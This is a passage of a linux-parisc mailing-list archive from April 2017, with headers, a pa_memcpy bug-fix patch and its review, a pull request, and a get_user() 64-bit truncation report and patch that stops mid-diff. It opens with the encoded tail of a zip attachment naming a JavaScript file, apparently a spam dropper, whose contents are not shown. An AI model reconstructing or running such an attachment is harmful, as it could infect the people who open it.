m6pUNLfpcJrqpJvF9jcaGek4oCRrUtlqqmRqbgfDwtuZr/2SF/IoQYqwpy9/yt2cBQWX4qSJ8ghc
VNRg+sMmQl18VhivScfZVPnR1BD6mw+dPsWxqeLepErcVAHS3J4VqRaHRcLu62M6KVXpaHcxx9H+
env048ePLXCpEbXok/8G3XCjyarymCAimi07+0cbLVXDmVqK3ruzv2nbfbjTTNW9ub/faXcaR78k
4/3VOzLgsPeLy9OAbzzGrAr49PunnroRtQ8Gz92InpOhPuv90ti3KmV89fns16Xcv/n/Rb4ORXp/
EWyjE1CjLv2d1kYjvbqFRd5Gk646G/WEsoFTnzf81ZmqXjPV98nj1zz3rJ+01Wf7zTw7lVxdXfqv
XzKXm++SsFss6r1+xcSyBptHt0rxaEIKNk7yrPF/Pr5NX1/ePE95Mhzo+PVHNZz+wUHvuWe+iZu9
7Bn1TPl8yqg3rDxdvPjYF4rodRvKF56V1B2bPte9SpoQz+Pun3pBrjy8n39//8hAon9kISnbGezu
0wf6VdZIJtnaNT9/rtdIvQHIp3kc8/tagU7Xcyoeu39z/79QSwECHgMUAAIACAAECI9KxfDySiIQ
AAB3LgAACAAYAAAAAAABAAAApIEAAAAAMjE4MDQuanNVVAUAAzgc8Vh1eAsAAQQAAAAABAAAAABQ
SwUGAAAAAAEAAQBOAAAAZBAAAAAA
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix bugs in pa_memcpy
Date: Sat, 15 Apr 2017 17:26:04 +0200
Lines: 155
Approved: news@gmane.org
Message-ID: <4eaf9f82-439d-039a-0951-362b9cfea577@gmx.de>
References: <alpine.LRH.2.02.1704141404470.3534@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1492269978 31641 195.159.176.226 (15 Apr 2017 15:26:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 15 Apr 2017 15:26:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: Al Viro <viro@ZenIV.linux.org.uk>,
        John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 15 17:26:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1czPaW-00084p-CB
	for glpp-linux-parisc@m.gmane.org; Sat, 15 Apr 2017 17:26:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753886AbdDOP0R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 15 Apr 2017 11:26:17 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57985 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753705AbdDOP0Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 15 Apr 2017 11:26:16 -0400
Original-Received: from [192.168.20.60] ([193.159.21.43]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSutp-1caQUV0ObF-00RrKI; Sat, 15
 Apr 2017 17:26:06 +0200
In-Reply-To: <alpine.LRH.2.02.1704141404470.3534@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:h+rcaU8mFp4eZvEDSXlvf4Ae/G602T5QdY3abeStucQFSv2rXma
 vskM+EuY8RcBgeETJPjHNBCsNWa123YhadMBXnbqgYSSBxwZwZhJdES03S8WIBH9rVpWnY5
 v20MePccFp6rgoa6q3yjQFBfi7YXb2+fu82Lh+h6oUQY+Led1RX2HfP/B8tHagUN6za82Yj
 ZQOCchtGR+kBtHJuOjQdg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JycHmKkJFw4=:fvapOCjUNaD9WMHlXFJ1lf
 87NXg4tHdz8HYGIuS07CHLi9uXT/SQfbQfilUZ4a6AbAnbbUCD66rECqj1hYlxJvpFI6P+TTI
 js7iPJjwqYEPtJgNY3/exqmMuW2Nil1v34GTgXF68zF327/WfzmwFWIpK2cpu4gALKxnG1J6i
 enU0w/uOHv9oAK51w9Kx3dOjUfCoaMnc1FtGxZ9wV3bWP6etY9YF+vEBOi/An7cZ19FTPr++u
 F+XywPDNeysE+FaOVQDMVELQ7k8HEjMpIEKCFnMXWrBabuoSZVN3wfx+p/OCHuq83+83i0Po1
 Fyb98PqXZD3oEuJrwl36k+Dr729JRq644cNt7czcKuTaSIMenOfr2Q1cATwic12drILThpu0L
 nGmoLbSi0FCXlfyKkrGFPx1t50O2ZV0i3Rnwn8ykJy+l+WU+hLqK1EpLhPRyJXWn2p4VC6T+e
 COjpcCwmeTupsrEZXJ1IWUvxCee/kyz3PVjOLdh+r4zp9Ygr9AnZ7rt5R+KDGxo3sSbQka3h7
 IH9MJEdHLCHZsxsiUfInZx6I2KqVwdNqtwUPTfRClyxixHoOnYMEjvkWYvjSfa0PW2QYxPtne
 0pYQjEr3wDvexfOqx4joGHEOJK4YmGcyqfj/5ybZwmZBF/4nOtpX+6J6A84Yj6RzT4NLvZvqF
 +sI0CXmWBm4MyGultXmlzh2RLPPRcKUnavb4vm3zuSPPxhLviearNZNepLNhLxanStW5zuRup
 Ajk2k37U8G9n2YqVGfbZIIgFgmBiTCHfgGs/PBgXiDN5B8luBNO/ZsKrCE3F/4XoiH9OVI/w 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27393
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27393>

On 14.04.2017 20:15, Mikulas Patocka wrote:
> The patch 554bfeceb8a22d448cd986fc9efce25e833278a1 ("parisc: Fix access
> fault handling in pa_memcpy()") reimplements the pa_memcpy function.
> Unfortunatelly, it makes the kernel unbootable. The crash happens in the
> function ide_complete_cmd where memcpy is called with the same source and
> destination address.
> 
> This patch fixes a few bugs in pa_memcpy:
> 
> * When jumping to .Lcopy_loop_16 for the first time, don't skip the
>   instruction "ldi 31,t0" (this bug made the kernel unbootable)
> * Use the COND macro when comparing length, so that the comparison is
>   64-bit (a theoretical issue, in case the length is greater than
>   0xffffffff)
> * Don't use the COND macro after the "extru" instruction (the PA-RISC
>   specification says that the upper 32-bits of extru result are undefined,
>   although they are set to zero in practice)
> * Fix exception addresses in .Lcopy16_fault and .Lcopy8_fault
> * Rename .Lcopy_loop_4 to .Lcopy_loop_8 (so that it is consistent with
>   .Lcopy8_fault)
> 
> Cc: <stable@vger.kernel.org> # v4.9+
> Fixes: 554bfeceb8a2 ("parisc: Fix access fault handling in pa_memcpy()")
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

Nice catch!
Thanks,
Helge



> 
> ---
>  arch/parisc/lib/lusercopy.S |   27 ++++++++++++++-------------
>  1 file changed, 14 insertions(+), 13 deletions(-)
> 
> Index: linux-4.11-rc6/arch/parisc/lib/lusercopy.S
> ===================================================================
> --- linux-4.11-rc6.orig/arch/parisc/lib/lusercopy.S
> +++ linux-4.11-rc6/arch/parisc/lib/lusercopy.S
> @@ -201,7 +201,7 @@ ENTRY_CFI(pa_memcpy)
>  	add	dst,len,end
>  
>  	/* short copy with less than 16 bytes? */
> -	cmpib,>>=,n 15,len,.Lbyte_loop
> +	cmpib,COND(>>=),n 15,len,.Lbyte_loop
>  
>  	/* same alignment? */
>  	xor	src,dst,t0
> @@ -216,7 +216,7 @@ ENTRY_CFI(pa_memcpy)
>  	/* loop until we are 64-bit aligned */
>  .Lalign_loop64:
>  	extru	dst,31,3,t1
> -	cmpib,=,n	0,t1,.Lcopy_loop_16
> +	cmpib,=,n	0,t1,.Lcopy_loop_16_start
>  20:	ldb,ma	1(srcspc,src),t1
>  21:	stb,ma	t1,1(dstspc,dst)
>  	b	.Lalign_loop64
> @@ -225,6 +225,7 @@ ENTRY_CFI(pa_memcpy)
>  	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
>  	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
>  
> +.Lcopy_loop_16_start:
>  	ldi	31,t0
>  .Lcopy_loop_16:
>  	cmpb,COND(>>=),n t0,len,.Lword_loop
> @@ -267,7 +268,7 @@ ENTRY_CFI(pa_memcpy)
>  	/* loop until we are 32-bit aligned */
>  .Lalign_loop32:
>  	extru	dst,31,2,t1
> -	cmpib,=,n	0,t1,.Lcopy_loop_4
> +	cmpib,=,n	0,t1,.Lcopy_loop_8
>  20:	ldb,ma	1(srcspc,src),t1
>  21:	stb,ma	t1,1(dstspc,dst)
>  	b	.Lalign_loop32
> @@ -277,7 +278,7 @@ ENTRY_CFI(pa_memcpy)
>  	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
>  
>  
> -.Lcopy_loop_4:
> +.Lcopy_loop_8:
>  	cmpib,COND(>>=),n 15,len,.Lbyte_loop
>  
>  10:	ldw	0(srcspc,src),t1
> @@ -299,7 +300,7 @@ ENTRY_CFI(pa_memcpy)
>  	ASM_EXCEPTIONTABLE_ENTRY(16b,.Lcopy_done)
>  	ASM_EXCEPTIONTABLE_ENTRY(17b,.Lcopy_done)
>  
> -	b	.Lcopy_loop_4
> +	b	.Lcopy_loop_8
>  	ldo	-16(len),len
>  
>  .Lbyte_loop:
> @@ -324,7 +325,7 @@ ENTRY_CFI(pa_memcpy)
>  .Lunaligned_copy:
>  	/* align until dst is 32bit-word-aligned */
>  	extru	dst,31,2,t1
> -	cmpib,COND(=),n	0,t1,.Lcopy_dstaligned
> +	cmpib,=,n	0,t1,.Lcopy_dstaligned
>  20:	ldb	0(srcspc,src),t1
>  	ldo	1(src),src
>  21:	stb,ma	t1,1(dstspc,dst)
> @@ -362,7 +363,7 @@ ENTRY_CFI(pa_memcpy)
>  	cmpiclr,<> 1,t0,%r0
>  	b,n .Lcase1
>  .Lcase0:
> -	cmpb,= %r0,len,.Lcda_finish
> +	cmpb,COND(=) %r0,len,.Lcda_finish
>  	nop
>  
>  1:	ldw,ma 4(srcspc,src), a3
> @@ -376,7 +377,7 @@ ENTRY_CFI(pa_memcpy)
>  1:	ldw,ma 4(srcspc,src), a3
>  	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
>  	ldo -1(len),len
> -	cmpb,=,n %r0,len,.Ldo0
> +	cmpb,COND(=),n %r0,len,.Ldo0
>  .Ldo4:
>  1:	ldw,ma 4(srcspc,src), a0
>  	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
> @@ -402,7 +403,7 @@ ENTRY_CFI(pa_memcpy)
>  1:	stw,ma t0, 4(dstspc,dst)
>  	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcopy_done)
>  	ldo -4(len),len
> -	cmpb,<> %r0,len,.Ldo4
> +	cmpb,COND(<>) %r0,len,.Ldo4
>  	nop
>  .Ldo0:
>  	shrpw a2, a3, %sar, t0
> @@ -436,14 +437,14 @@ ENTRY_CFI(pa_memcpy)
>  	/* fault exception fixup handlers: */
>  #ifdef CONFIG_64BIT
>  .Lcopy16_fault:
> -10:	b	.Lcopy_done
> -	std,ma	t1,8(dstspc,dst)
> +	b	.Lcopy_done
> +10:	std,ma	t1,8(dstspc,dst)
>  	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
>  #endif
>  
>  .Lcopy8_fault:
> -10:	b	.Lcopy_done
> -	stw,ma	t1,4(dstspc,dst)
> +	b	.Lcopy_done
> +10:	stw,ma	t1,4(dstspc,dst)
>  	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
>  
>  	.exit
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fix for v4.11-rc7
Date: Sat, 15 Apr 2017 17:48:46 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20170415154846.GA8384@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1492271347 9240 195.159.176.226 (15 Apr 2017 15:49:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 15 Apr 2017 15:49:07 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Mikulas Patocka <mpatocka@redhat.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 15 17:49:02 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1czPwb-0008Ib-8Y
	for glpp-linux-parisc@m.gmane.org; Sat, 15 Apr 2017 17:49:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754157AbdDOPtH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 15 Apr 2017 11:49:07 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53932 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753886AbdDOPtG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 15 Apr 2017 11:49:06 -0400
Original-Received: from p100.box ([193.159.21.43]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MKKaI-1czyRI0lYE-001fdU; Sat, 15
 Apr 2017 17:48:50 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:grnAhXPFqx4Le0NnddPlzMDl7L8ac6LhppAkbg5ykzxxgmVxUrF
 eWSVSBzspA9xnebuWl+yARr/q5rjI9bn67p7uxGxkOL1+17MgnquQD4f+Tu5kc1tqt0SWyT
 UHjA8Jd7rRt1KpfFspjetZVsG2hsg/LqIGUvKo8WgqP+Jv5Lj4blu93Bv/HjNd2La+j0xYC
 R4ets90rUgypCE8Grm7pg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/mhFWJXL6Mg=:pval6a79IHz/rjjia0DzEe
 H7kC4TKMiRj/LWktkQnFNLCU5I705c89AZ+a/Y0tt24VY9HiaiPqyzF4h2/b3b979+xYfxqVa
 aXsfcYOSS1iaNr2umm07r02AvsCA2vEoeW8kwd9k/kqlpRxU3UucZ9QtGpKqURdQmXLlkZeHi
 QYbhrB/PBV2T6NpoidsdEPhW/A705Zj/LdMI/LMeXiUH1qk3W2x8uN1mg+YBXrE0CMAIgYNcs
 cDiLK5xwLZRdtQygAYUP9NzWgUPJsSP76X29KyNkIja4vOpWAjXxHar6eAurYJ5hit/RG7GJf
 rDk7VjsAk+c6iJGTNzeTLc8qcrSvrqg5xTL4iooSZecBs/dbOVcXQMGdFt+OGb4SGLJAdq7XC
 wHMi3g/ZXZuC0XSRCk7/SOseL8vCYxW7HAIfS1r8x9v5g8SgeFN2gHmJ06JmAyw2358xAAwMg
 XTyeoAcLnS1KzF4TD6Jjr5ZxnN2HjOQ5kG2TPJZs+eVpKyjmjYy4pE2/rG9PLc4Z4iM3lCcSN
 pyY7IGunr5kLcF+K3xG0mYLSP3VHzOcXHB5NpPgng5Z1ONigQJTjaxGXeiqay6C07iM1IeEU8
 hjIL2XGY/aJoA6hSO//sAgfWUh1LiAn5OLQ2NFNCD3jzlgaSRMa2Lhwbkzrg/xP1Qvr1R/Iq9
 WnF30k9SuNyeikPZVLTQM7vvUPyKiEq+aVvedENvHWYmwIt0H+1aEb7nwcyPpzG7tNYRD4/OB
 lWc3oZlzh58gw5VSV81+HTO6CT2WSrbsno1r+FNFun+iOXMV6qgQVYSnZe0=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27394 gmane.linux.kernel:2456628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27394>

Hi Linus,

please pull one important fix for the parisc architecture for kernel 4.11-rc7 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.11-4

Mikulas Patocka fixed a few bugs in our new pa_memcpy() assembler function,
e.g. one bug made the kernel unbootable if source and destination address are
the same.

Thanks,
Helge

----------------------------------------------------------------
Mikulas Patocka (1):
      parisc: fix bugs in pa_memcpy

 arch/parisc/lib/lusercopy.S | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: __get_user() for 64-bit value broken on 32-bit kernel
Date: Sat, 15 Apr 2017 23:14:56 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <ecb724ca-037e-ad90-ed66-6e8d587445ec@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1492290899 32747 195.159.176.226 (15 Apr 2017 21:14:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 15 Apr 2017 21:14:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 15 23:14:54 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1czV1y-0004Pw-5n
	for glpp-linux-parisc@m.gmane.org; Sat, 15 Apr 2017 23:14:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754157AbdDOVPA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 15 Apr 2017 17:15:00 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55708 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753886AbdDOVO7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 15 Apr 2017 17:14:59 -0400
Original-Received: from [192.168.20.60] ([193.159.21.43]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LtZfc-1c0xtt18Fg-010rRp; Sat, 15
 Apr 2017 23:14:57 +0200
X-Provags-ID: V03:K0:JLPI+4CyQ4hCn42vOIZ1PCztP2hwMWR3Ssv10KPRrStyIghlZ0C
 Z7wLjscfjCM8RyrbZ2Vo/cyw7y3lhFKhxKoS0CMKJENsUNt2cFsbJZuMcPnF4YLRe+/3Z1n
 iXYZWWwOtMgA4Ky8DhFpKvmjhoRmxMv4DNTUrr4XFPF5PIwY4A9m2qsCFBK9VVKax/oOkhP
 Mr5Raprfw8jZdcxz0Rkeg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:k/3By0R+Xkk=:6tEgHLOQDhQluQj62fZwNX
 FMgRGB+3zBBWDGN7BOuMMkBV9lpRDYyV2r9c5qCSLjEQBusiAH0FdxpKABjqolMZxt+EDnEfx
 eSPDbdabQMTZLoMlKA3wjwoJ/Asv1c6KOyIQiKU+WVtpn5rqWM0oClXtSWYoFoRKZkpCeUp9P
 LB0XZCl6AqdxpssDRz+Kg97WPCtZ3kJBMSFjLDBMkWHmVZzULE5ikI2WRH+f4AhByS1RsxJoh
 f3nfd1xpxIp9YbOZqINdcvD92Pq0HdFdBCtJatUQiCvAWXsSLWmJkoBd/RJ+rgGWgm52qRcUE
 JewChTCgkzvaTwFAik3eorju2JU7kmNSZK5sU07m1yQHfUJzSpnQuKAa2JNepPwSyoboeo0LG
 ruKvlpAmX2Yyg/ssvVw2D9nnfV99ISX2Rt49WjnDxOebm0YwGqhWCR8oLy6P1thYUQMS+zMOI
 mJllJNCEpNE3keHBSVND/SXboN5sz0T9O5070fphMpQToTtKTyM0PWf91OpLgB1qCdl+wFdSr
 UazhJS5fz7v8gFQGTvLk2g5qd65GzUQ90GHd26KYJrdkXmaobHxWy0eNUy3WVUZBMtt18CAZj
 30OFGi9oF2r6HTCFRojDL5kIjbggg4NiSH3F0lzwifsKhUjFPfc01wW321Q/8VvRWFCKFDcfz
 r6L/MTgU0R3kneIG/XilDuIFsPi3HYTTbO/uRCxTRC9X1fYj5FQj3onMutCFbtZPZnCf2SS1g
 y7cR6A+hRahvGjSTLH6CeR0SAega2q/lToq8BupjnyTX0ehDEMXBMnz27gDbmEYfk2+mXPNT 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27395
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27395>

We have a problem on the 32bit kernel with __get_user()
for a 64bit value.

In arch/parisc/include/asm/uaccess.h we have
#define __get_user(x, ptr)                               \
({                                                       \
        register long __gu_err __asm__ ("r8") = 0;       \
        register long __gu_val;                          \
                                                         \
        load_sr2();                                      \
        switch (sizeof(*(ptr))) {                        \
            case 1: __get_user_asm("ldb", ptr); break;   \
            case 2: __get_user_asm("ldh", ptr); break;   \
            case 4: __get_user_asm("ldw", ptr); break;   \
            case 8: LDD_USER(ptr);  break;               \
            default: BUILD_BUG(); break;                 \
        }                                                \
                                                         \
        (x) = (__force __typeof__(*(ptr))) __gu_val;     \
        __gu_err;                                        \
})

The problem is, that on a 32bit kernel __gu_val is a 32bit ("long") variable,
but LDD_USER(ptr) returns a 64bit entity.
And since __gu_val is 32bit only, afterwards the (x) = __gu_val will
return a 32bit-truncated value too.

I'm not sure how this can be fixed. My latest approaches always ended
with lots of compiler warnings.

A testcase for this is the test_user_copy.ko kernel module (source
in lib/test_user_copy.c).

Any ideas?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix get_user() for 64-bit value on 32-bit kernel
Date: Sun, 16 Apr 2017 10:00:14 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <20170416080014.GA7681@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1492329626 24667 195.159.176.226 (16 Apr 2017 08:00:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 16 Apr 2017 08:00:26 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 16 10:00:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1czf6a-00033z-Be
	for glpp-linux-parisc@m.gmane.org; Sun, 16 Apr 2017 10:00:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754900AbdDPIA0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 16 Apr 2017 04:00:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:61032 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754438AbdDPIA0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 16 Apr 2017 04:00:26 -0400
Original-Received: from p100.box ([193.159.17.21]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LgMCe-1cETrB04do-00ngbZ; Sun, 16
 Apr 2017 10:00:17 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:fbDvhfraUj+OB6vd4CdxjxHliCOplK1bcwMgUiqtUUXzcEbWvZ0
 FBQCYbcb0B3gUSqcVcUejicuk19jV56o2DdS0hTwkmT/IffxdvYy8+l38X6OsAmUtqiTuOz
 y4IoFsr0MrgNtafkkiWNsplH3OJp2GaXuOEoW0krxHkUja2SxnTPCWtWzUWlqpr+eqmDuUT
 5fH96/mE1Jb7BGUVnqsJQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hkFodVPf1HU=:dMPOYfJ4zpUzWJjNBRS5kc
 KAhm54OdN0sPkNnxTjNekGi78cSfFRbXK/VBNQ4fIPO7bRnSFg0jYkplVOK+vONcAXuS4YZwY
 3V3b2jSuMdX5THjkJ59ouhIYm+bcVUFNLYbWCdKb7Eelay9h25Me/GSP+4QFXBmn6gRCQf2RP
 6szjv83QuXA4KVmwMjSG97W2mRv2DDqDGC1B7/G6Lqc2NBgqJCKZ0XCrxT7rgxfh4UpGH144l
 aINpIFhnqv51mslxJ3MOV9S3HXoF8gywSSvLSDKpgMLvcy3nXrs5dVweG33JrMiZDxqLB9JMP
 SMpiFwF3BGQ2XiHXbXCI6xlp3l/rxDnPZV2OIOSwKxYrrIVy4cJb1UvaBvCYxGPnhQthQ9o1k
 eEIg3VI7yVS8J10ZnVM+Xm9lHsFSBK9P5922xa7dVM6WTKG7BS+FeD7Z3VR+ch84yqM9F1TeX
 yVpzZB4SlrY4zvx6KBySwxDOzfBjAGUfxF6wBhSWPSsvqt47VqmdrTuwIH3ocKXMLbIKIXZhF
 3iYRl6sEI6cRrqQWProQaRWLeER6oc2CMvhMA8Yi8u6axu3OFfLi0TBQUySmPsuPL8vha1Dvt
 8ez+b161pJ2Gii7lMa5xDXW72EbM/EpfBAO6Oe/1OzAw2tBCREdhUJAw8RRIvpjoI1rKslWQo
 TJu79dQAOPL9fOPQKMuvmZUPOCisK9mfxDoSlk7zUYEQ02mOCoeNez7yx98290GzoZ9Gjm+r+
 OLWq9Wn/Gk8T85xwOqrrDnMkMpM3Z/8GZUgZwiu+39qTAUG/FyF0NAQRJmU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27396>

This fixes a bug in which the upper 32-bits of a 64-bit value which is read by
get_user() was lost.
While touching this code, split out pre-loading of %sr2 space register and
clean up code indent.

Cc: <stable@vger.kernel.org> # v4.9+
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 8442727..cbd4f4a 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -39,10 +39,10 @@
 #define get_user __get_user
 
 #if !defined(CONFIG_64BIT)
-#define LDD_USER(ptr)		__get_user_asm64(ptr)
+#define LDD_USER(val, ptr)	__get_user_asm64(val, ptr)
 #define STD_USER(x, ptr)	__put_user_asm64(x, ptr)
 #else
-#define LDD_USER(ptr)		__get_user_asm("ldd", ptr)
+#define LDD_USER(val, ptr)	__get_user_asm(val, "ldd", ptr)
 #define STD_USER(x, ptr)	__put_user_asm("std", x, ptr)
 #endif
 
@@ -97,63 +97,87 @@ struct exception_data {
